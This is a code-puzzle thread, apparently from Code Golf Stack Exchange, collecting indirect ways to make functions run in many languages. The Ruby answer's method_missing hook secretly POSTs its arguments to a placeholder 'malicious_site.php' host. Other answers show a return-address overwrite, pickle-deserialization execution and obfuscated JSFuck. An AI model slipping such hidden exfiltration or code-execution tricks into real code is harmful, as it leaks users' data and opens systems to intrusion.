Call a method without calling it [closed]

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Closed 8 years ago.

Inspired by a now deleted StackOverflow question. Can you come up with a way to get a particular method executed, without explicitly calling it? The more indirect it is, the better.

Here's what I mean, exactly (C used just for exemplification, all languages accepted):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Original question: enter image description here

Apparently this is a screencap from @Mysticial's account, seeing the avatar. Mysticial, could you please just click on your rep tab?!?!?! — Doorknob, Commented Mar 1, 2014 at 3:30

hvd · Accepted Answer · 2014-03-01 13:07:02Z

108

C

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

When compiled with GCC, the compiler replaces printf("Goodbye!\n") with puts("Goodbye!"), which is simpler and is supposed to be equivalent. I've sneakily provided my custom puts function, so that gets called instead.

answered Mar 1, 2014 at 13:07

hvd

3,6741 gold badge15 silver badges17 bronze badges

1

\$\begingroup\$ @user17752 This is actually a transformation GCC makes even at -O0. (GCC 4.8, anyway. Perhaps other versions do need some other options.) \$\endgroup\$
– hvd
Commented Mar 2, 2014 at 9:02
1

\$\begingroup\$ sorry, my mistake, forgot that i was using clang on my macbook. \$\endgroup\$
– user17752
Commented Mar 2, 2014 at 10:24
\$\begingroup\$ @user17752 Thanks, I hadn't tested with other compilers, nice to know that clang at least has an option to get the same transformation. \$\endgroup\$
– hvd
Commented Mar 2, 2014 at 19:28
\$\begingroup\$ Congratulation! A winner is you! \$\endgroup\$
– user12385
Commented Mar 21, 2014 at 17:35

Add a comment |

johnsyweb · Accepted Answer · 2014-03-01 04:51:00Z

85

Well, how is malware able to execute functions that aren't called in the code? By overflowing buffers!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

On my system, the return address of main happens to be stored 3 words above the first local variable. By scrambling that return address with the address of another function, main "returns" to that function. If you want to reproduce this behavior on another system, you might have to tweak 3 to another value.

edited Mar 1, 2014 at 4:51

johnsyweb

1213 bronze badges

answered Mar 1, 2014 at 0:59

fredoverflow

2,7091 gold badge20 silver badges21 bronze badges

\$\begingroup\$ Beat me to it (+1) - this is the obvious C solution. \$\endgroup\$
– Comintern
Commented Mar 1, 2014 at 1:25
20

\$\begingroup\$ Use  two lines before your code to highlight it. \$\endgroup\$
– Victor Stafusa
Commented Mar 1, 2014 at 4:43
9

\$\begingroup\$ All hail @Victor, syntax highlighting hero! \$\endgroup\$
– Jason C
Commented Mar 2, 2014 at 3:38
\$\begingroup\$ @Victor is this officially documented? If yes, where? \$\endgroup\$
– Thorbjørn Ravn Andersen
Commented Mar 4, 2014 at 9:18
3

\$\begingroup\$ @ThorbjørnRavnAndersen meta.stackexchange.com/questions/184108/… \$\endgroup\$
– Victor Stafusa
Commented Mar 4, 2014 at 9:22

Add a comment |

Community · Accepted Answer · 2020-06-17 09:04:33Z

77

Bash

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

edited Jun 17, 2020 at 9:04

CommunityBot

1

answered Mar 1, 2014 at 4:28

Digital Trauma

73k9 gold badges112 silver badges264 bronze badges

8

\$\begingroup\$ Exception handling. The other method call! \$\endgroup\$
– phyrfox
Commented Mar 2, 2014 at 0:14

Add a comment |

Community · Accepted Answer · 2017-04-13 12:38:59Z

Python 2

>>> def func(*args):
        print('somebody called me?')

Here are some ways inspired by the other answers:

executing the code directly
```
>>> exec(func.func_code) # just the code, not a call
somebody called me?
```
This is the best way of really not calling the function.

using the destructor

>>> class X(object):pass
>>> x = X()
>>> X.__del__ = func # let  the garbage collector do the call
>>> del x
somebody called me?

Using the std I/O

>>> x.write = func # from above
>>> import sys
>>> a = sys.stderr
>>> sys.stderr = x
>>> asdjkadjls
somebody called me?
somebody called me?
somebody called me?
somebody called me?
somebody called me?
>>> sys.stderr = a # back to normality

using attribute lookups

>>> x = X() # from above
>>> x.__get__ = func
>>> X.x = x
>>> x.x # __get__ of class attributes
somebody called me?
<__main__.X object at 0x02BB1510>
>>> X.__getattr__ = func
>>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
somebody called me?
>>> X.__getattribute__ = func
>>> x.__class__ # any attribute
somebody called me?

The import mechanism

>>> __builtins__.__import__ = func
>>> import os # important module!
somebody called me?
>>> os is None
True

Well I guess that's all.. I can not import anything now. No wait..

Using the get-item brackets []

>>> class Y(dict): pass
>>> Y.__getitem__ = func
>>> d = Y()
>>> d[1] # that is easy
somebody called me?

Using global variables. My favorite!
```
>>> exec "hello;hello" in d # from above
somebody called me?
somebody called me?
```
hello is an access to d['hello']. After this the world seems gray.

Meta classes ;)

>>> class T(type): pass
>>> T.__init__ = func
>>> class A:
    __metaclass__ = T
somebody called me?

Using iterators (you can overload any operator and use it)

>>> class X(object): pass
>>> x = X()
>>> X.__iter__ = func
>>> for i in x: pass # only once with error
somebody called me?

>>> X.__iter__ = lambda a: x 
>>> X.next = func
>>> for i in x: pass # endlessly!
somebody called me?
somebody called me?
somebody called me?
...

Errors!

>>> class Exc(Exception):__init__ = func
>>> raise Exc # removed in Python 3
somebody called me?

Frameworks call you back. Almost every GUI has this functionality.

>>> import Tkinter
>>> t = Tkinter.Tk()
>>> t.after(0, func) # or QTimer.singleShot(1000, func)
>>> t.update()
somebody called me?

Execute the source string (func must be in a file)

>>> import linecache
>>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
somebody called me?

Decorators

>>> @func
def nothing():pass
sombody called me?

with pickle de-serialization (least favorites coming)

>>> import pickle # serialization
>>> def __reduce__(self):
    return func, ()
>>> X.__reduce__ = __reduce__
>>> x = X()
>>> s = pickle.dumps(x)
>>> pickle.loads(s) # this is a call but it is hidden somewhere else
somebody called me?

Using serialization

>>> import copy_reg
>>> copy_reg.pickle(X, func)
>>> pickle.dumps(x) # again a hidden call
somebody called me?

Javascript

This one uses JSFuck to do the dirty work.

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

I think this qualifies as an explicit function call. Just a very obfuscated one. — primo, Commented Mar 2, 2014 at 6:47
@primo, it will be constructing a string of javascript to execute, and acquiring the Function object to call it with. But to do that, it uses implicit conversions between types; e.g. "" is a string, and [] evaluates to 0, so ""[[]] is undefined, and ""[[]]+"" is "undefined". From there you can pull out individual letters: (""[[]]+"")[[]] is "u". So it's more like a hack to call exec with arbitrary code. I think that counts? — Phil H, Commented Mar 4, 2014 at 13:05
@PhilH I understand how it works. Remove the last two parentheses: function anonymous() { x() }. — primo, Commented Mar 4, 2014 at 14:30

johnsyweb · Accepted Answer · 2014-03-01 04:50:47Z

22

Python

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

This sets the_function as the profiling function, causing it to be executed on each function call and return.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

edited Mar 1, 2014 at 4:50

johnsyweb

1213 bronze badges

answered Mar 1, 2014 at 1:50

grc

19.1k9 gold badges37 silver badges80 bronze badges

\$\begingroup\$ Is this Python? \$\endgroup\$
– user10766
Commented Mar 1, 2014 at 1:52
\$\begingroup\$ @user2509848 Yes, I forgot to mention that. \$\endgroup\$
– grc
Commented Mar 1, 2014 at 1:53
\$\begingroup\$ A non-C answer! I'd love to see more :D \$\endgroup\$
– user12385
Commented Mar 1, 2014 at 1:54
\$\begingroup\$ @Johnsyweb Please see meta.codegolf.stackexchange.com/q/1109/9498 . There is no need to edit every single post to include syntax highlighting, especially if it barely affects the look of the code (e.g. short code). \$\endgroup\$
– Justin
Commented Mar 1, 2014 at 5:04
\$\begingroup\$ @Quincunx: Acknowledged ☻ \$\endgroup\$
– johnsyweb
Commented Mar 1, 2014 at 5:49

Add a comment |

Aaronaught · Accepted Answer · 2014-03-01 22:23:22Z

C#

We can abuse the DLR to always execute some code whenever you try to call any method on a class. This is slightly less cheap/obvious than solutions like delegates, reflections, static constructors, etc., because the method being executed is not only never invoked but never even referenced, not even by its name.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

This always prints "Ha! Tricked you!" no matter what you try to invoke on a. So I could just as easily write a.SuperCaliFragilisticExpiAlidocious() and it would do the same thing.

hvd · Accepted Answer · 2014-03-01 12:58:57Z

17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

This is very direct, but is certainly not a call to hello_world, even though the function does execute.

answered Mar 1, 2014 at 12:58

hvd

3,6741 gold badge15 silver badges17 bronze badges

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boxmein · Accepted Answer · 2014-03-01 11:23:43Z

16

Ruby

Inspired by wat.

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

answered Mar 1, 2014 at 11:23

boxmein

2711 silver badge6 bronze badges

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Jwosty · Accepted Answer · 2014-03-01 21:38:23Z

15

C

You can register a function to be called at the end of the program in C, if that fits your needs:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

edited Mar 1, 2014 at 21:38

Jwosty

3,5942 gold badges22 silver badges36 bronze badges

answered Mar 1, 2014 at 1:23

fredoverflow

2,7091 gold badge20 silver badges21 bronze badges

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Community · Accepted Answer · 2020-06-17 09:04:33Z

Java

Tried this with java:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

The method secretMethodNotCalledInMain is called only by reflection, and I am not searching for anything called secretMethodNotCalledInMain (instead I am searching for anything not called main). Further, the reflective part of code is called outside the main method when the JDK's uncaught exception handler kicks in.

Here is my JVM info:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

Here is the output of my program:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

I was not expecting those NullPointerExceptions being thrown from the native code to handle reflection. But, as mentioned by @johnchen902 that is because it inherits some methods from java.lang.Object and I ended up calling them on nulls.

Those NPEs are not JDK bug. They're thrown because you tried to invoke instance methods declared in java.lang.Object such as toString() with null. — johnchen902, Commented Mar 2, 2014 at 6:41

Jonathan Van Matre · Accepted Answer · 2014-03-13 16:19:34Z

14

C++

One way in C++ is in the constructor and/or destructor of a static object:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

edited Mar 13, 2014 at 16:19

Jonathan Van Matre

2,50823 silver badges36 bronze badges

answered Mar 1, 2014 at 1:36

Jerry Coffin

5792 silver badges9 bronze badges

1

\$\begingroup\$ I also thought of overloading new and delete, but I think three answers are enough :) \$\endgroup\$
– fredoverflow
Commented Mar 1, 2014 at 1:44
\$\begingroup\$ Are constructors/destructors considered "methods" in C++? In .NET and Java they're actually a different member type. You can't directly call a static ctor, even if you want to... \$\endgroup\$
– Aaronaught
Commented Mar 2, 2014 at 1:42
\$\begingroup\$ @Aaronaught: Nothing is considered a "method" in C++ (at least by anybody who knows what they're talking about). Constructors and destructors are member functions. They are "special" member functions though (e.g., constructors don't have names, so you can't invoke them directly). \$\endgroup\$
– Jerry Coffin
Commented Mar 2, 2014 at 1:44
\$\begingroup\$ Well, I only used that term because the OP did. I know that C/C++ and almost every other non-Java/.NET language have functions, not methods. But the salient point is that they can't be directly invoked. You could argue that an instance constructor is technically being directly invoked with new, and so it would be an interesting answer to have a way to invoke one without new. But I don't know, static constructors feels like a bit of a cheat. \$\endgroup\$
– Aaronaught
Commented Mar 2, 2014 at 2:02
\$\begingroup\$ @Aaronaught If you want to call a constructor on a piece of memory that's already allocated, you can write new (p) foo(). And you can destruct an object without releasing the memory via p->~foo(). \$\endgroup\$
– fredoverflow
Commented Mar 2, 2014 at 6:54

Add a comment |

Kevin · Accepted Answer · 2014-03-01 16:48:08Z

12

C: Hello World

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Output:

Hello World!

In order to link the method, we need printf() to be compiled somewhere in the program, but it does not have to actually be called. The printf() and main() functions are located 276 bytes apart from each other in the code segment. This value will change based on OS and compiler. You can find the actual addresses on your system with this code and then just subtract them:

printf("%d %d\n", &printf, &main);

answered Mar 1, 2014 at 16:48

Kevin

3,1211 gold badge15 silver badges21 bronze badges

4

\$\begingroup\$ The * before main is really confusing and unnecessary. main is a function which you cannot dereference, so it implicitly decays to a function pointer which is then dereferenced to yield a function again. You can't subtract an int from a function, so it decays to a function pointer again. You might as well write (*****main-276) ;) You probably meant to write (&main-276) or (*(main-276)) instead. \$\endgroup\$
– fredoverflow
Commented Mar 2, 2014 at 6:59
6

\$\begingroup\$ The * before main is really confusing and unnecessary. - Isn't that generally a good thing on this site? \$\endgroup\$
– James Webster
Commented Mar 3, 2014 at 17:35
\$\begingroup\$ I was under ther impression the standard said that a well-formed programm shall not use main, but can't find it now... \$\endgroup\$
– Damon
Commented Mar 3, 2014 at 17:37
3

\$\begingroup\$ you explicitly call it by obfuscated reference \$\endgroup\$
– Nowayz
Commented Mar 4, 2014 at 13:47

Add a comment |

Community · Accepted Answer · 2020-06-17 09:04:33Z

C (with GCC inline asm)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

This will cause some GCC-emitted code to end up in a different segment of the object file, effectively making control flow “fall through” the_function. Note that this does not work if GCC decides to reorder the functions, obviously. Tested with GCC 3.4.6 on MirBSD-current/i386, using -O2. (Also, it breaks debugging, compiling with -g errors out ☺)

Tony Ellis · Accepted Answer · 2014-03-01 02:08:13Z

PHP ≥5.4.0

This solution is admittedly a horrid mess, but it performs the task given to it (there was no stipulation how well it has to perform).

The function to call without calling:

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

The solution:

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Example:

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Possible outputs:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Explanation:

When called, executeFunction() will read the contents of the currently executing file (which means this is only meant to be run from CLI, as it uses $argv), parse out the arguments and body of the specified function, hack everything back together into a new chunk of code, eval() it all, and return the result. The result being that getRandomString() is never actually called, either directly or indirectly, but the code in the function body is still executed.

Well, does creating __construct() method counts in PHP since you never call the function directly, but use new Something() instead? — dkasipovic, Commented Mar 3, 2014 at 13:43
@D.Kasipovic Kind of, one could argue you're directly invoking it still, just in a different way. I chose my current approach because I like to think outside of the box. I could have just registered the function as a callback to register_tick_function(), register_shutdown_function(), or spl_autoload_register() similar to @grc's Python answer, but I feel like that's 'cheating' and taking the easy way out. — Tony Ellis, Commented Mar 3, 2014 at 15:34

Ilmari Karonen · Accepted Answer · 2014-03-02 03:00:37Z

8

Perl

sub INIT {
    print "Nothing to see here...\n";
}

Yes, that's all there is to it. Not all subroutines are created equal.

answered Mar 2, 2014 at 3:00

Ilmari Karonen

20.8k4 gold badges55 silver badges100 bronze badges

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Community · Accepted Answer · 2020-06-17 09:04:33Z

7

T-SQL

It's a built in feature. Triggers for the win!

If you really want to have fun with it, create a bunch of INSTEAD OF triggers on April Fool's Day.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

Results:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

Very prank. Such lulz. Wow.

Tinker wid it on SQLFiddle.

edited Jun 17, 2020 at 9:04

CommunityBot

1

answered Mar 1, 2014 at 4:39

Jonathan Van Matre

2,50823 silver badges36 bronze badges

2

\$\begingroup\$ Triggers always get me, as an application developer, I never expect them. \$\endgroup\$
– Matthew
Commented Mar 1, 2014 at 16:26

Add a comment |

Ginden · Accepted Answer · 2014-03-02 00:03:04Z

7

JavaScript

In Firefox console:

